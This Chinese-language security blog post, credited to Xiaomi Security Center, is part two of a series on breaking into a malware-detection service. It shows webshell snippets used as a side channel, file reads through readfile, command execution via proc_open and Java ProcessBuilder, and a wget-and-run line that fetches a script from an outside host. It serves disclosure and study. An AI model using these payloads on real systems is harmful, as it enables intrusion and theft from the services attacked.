Article Learn

利用恶意软件检测服务向服务提供商植入恶意软件(二)

Post by 我不知道该唱什么 at 2016-10-25 14:01:47

注:本文为“小米安全中心”原创,转载请联系“小米安全中心”

上期回顾:技术分享|利用恶意软件检测服务向服务提供商植入恶意软件(一)

之前说到了利用本地dns做中转传输数据的通道被禁止后,还是否有方法把变量内容传递出来。这里有一个很明显的信道,在我们最开始的时候就已经用来判断检测机制了,就是业务自己输出的检测结果。

我们能否通过在脚本内判断字符串内容来达到获取内容的目的呢,但是在引擎内任何if/else等逻辑判断都被磨平了,一个条件亦真亦假,在这个解释器里面没有逻辑可言。不过还有另外一个机制可以做分支,即动态函数调用。我的exploit代码如下:

<?php
function a65() {eval($_GET['id']);} 
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);
@call_user_func($c);

检查以上代码,如果$a的第一个字符是"A",则检测结果是webshell,反之该字符不是"A"。

这样,我们枚举ascii码范围内的数字,建立相应函数分别放在不同的文件内然后打包让其检测。

同时,该引擎会区分不同webshell,eval($_GET['id'])显示为中国菜刀变形类型后门,preg_replace("/[email]/e",$_POST['h'],"error")显示为preg_replace代码执行,这样可以使结果三元化,这样能把测试文件的数量成倍减少:

//a0.php
<?php 
function a0() {eval($_GET['id']);} 
function a1() {@preg_replace("/[email]/e",$_POST['h'],"error");} 
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);@call_user_func($c);

//a2.php
<?php 
function a2() {eval($_GET['id']);} 
function a3() {@preg_replace("/[email]/e",$_POST['h'],"error");} 
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);@call_user_func($c);

如果检测结果显示aN.php为中国菜刀变形类型,说明该字符的ascii码是N,如果是preg_replace代码执行类型,则是N+1。

为了减少测试文件数量,增加数据传输的效率,所以开始测试更多恶意代码以获取更多的检测结果类型,又找到了其他4种:Eval代码执行加(N+2),命令执行后门(N+3),小马上传工具(N+4),任意文件写入加(N+5)。同时我们还可以在压缩包里各个文件名中标注测试的字符,这样可以进一步提高数据的传输效率。

例如内容为"defg"的变量的检测结果应为:

------------------------------------
/a0_96.php      小马上传工具  <-- 96+4=100 (d)
/a1_96.php      任意文件写入  <-- 96+5=100 (e)
/a2_102.php     中国菜刀变形  <-- 102+0=102 (f)
/a3_102.php     preg_replace代码执行  <-- 102+1=103 (g)
/a0_0.php       正常
/a0_6.php       正常
...
------------------------------------

实现本地IO操作和任意代码执行

经测试fread/filegetcontents的行为都被修改了。我没有去试php其他默认不安装的文件系统扩展(比如DirectIO),因为这些扩展在检测引擎上没有理由去安装。第一次测试时想到了include:

ob_start(); 
include('/etc/issue'); 
$a = ob_get_contents();
ob_end_clean();

这里使用缓冲控制的函数还有一个好处,就是可以获得php的报错以获悉php执行失败的详细信息。

但是include有一个问题,就是在尝试读取二进制文件的时候,会有几率遇到"<?"这种组合,这会使读取内容不准确或者后续字符导致php语法错误。这种情况在我在尝试后续的测试时就发生了。 因此我又在php手册里的fs操作列表里找到了一个readfile函数。

ob_start(); 
readfile('/etc/issue'); 
$a = ob_get_contents();
ob_end_clean();

第一次利用,发现system/shell_exec等函数的行为都被修改了,没有办法达成执行命令的目的,但是发现proc_open可以顺利执行命令,十分惊讶于这种老生常谈的方法可以成功,这也说明了该引擎在一定程度上很依赖于用户获取不到php代码的详细执行过程和结果。第二次执行命令是通过java的ProcessBuilder。

'new ProcessBuilder("sh", "-c","(%s) &> %s");' % (cmd, tmp_file)

这里有一个细节,就是执行命令时候实际跑的是sh -c "(%s) >%s"(以上是用python去生成java代码),这里主要是为了让shell对我们的输入进行解析以支持多语句执行等功能。记得之前Struts2的RCE工具,很多人发现这个工具无法执行像在shell里多个命令(我猜运营美眉肯定看不到文章的这里,这里这么文字这么多。葫芦娃葫芦娃,叮叮当当叮叮当,可是如果黑猫警长变白了怎么办),是因为exp里使用的Runtime.getRuntime().exec(cmd)会把参数cmd按字符串以空格切分开,然后全部作为参数去调用execve。这样往往会出出现这种情况:

struts-exp-prompt> id root;id
id: root;id: no such user

遇到这种情况一般分开执行不会是什么大事,但是遇到web运行时分散在多台后端机器时,而想同时在相同机器执行时就不那么方便了,比如wget http://tool.hackshell.net/1.py && python 1.py,这种情况下除非你想首先把1.py传遍所有后端。一个解决方案是:

String cmd = new String("id root; [ $? -eq 0 ] && echo 'bingo'");
Process proc = Runtime.getRuntime().exec("bash -c "+cmd.replace(" ", "${IFS}"));

这里需要注意单引号括起来的字符串内的空格会被替换成${IFS},这可能不是命令执行者想要的。不过这种情况很少见,毕竟利用工具只是用来了解基本的机器网络环境后植入后续更舒服的控制工具。

说回来检测引擎,因为目标环境太过于依赖攻击者无法获取php执行的详细信息,所以执行命令部分并没有什么特殊方法。目标引擎所在的操作系统是一个完全安装的Linux,所以我有足够的辅助程序来帮助我做本地文件系统的读写操作,而我具有写权限的路径同样允许执行,因此我可以在目标系统的cpu上执行任意二进制代码,包括恶意软件。

上期回顾:技术分享|利用恶意软件检测服务向服务提供商植入恶意软件(一)

注:本文为“小米安全中心”原创,转载请联系“小米安全中心”


—   联系我们   —

新浪微博

公众号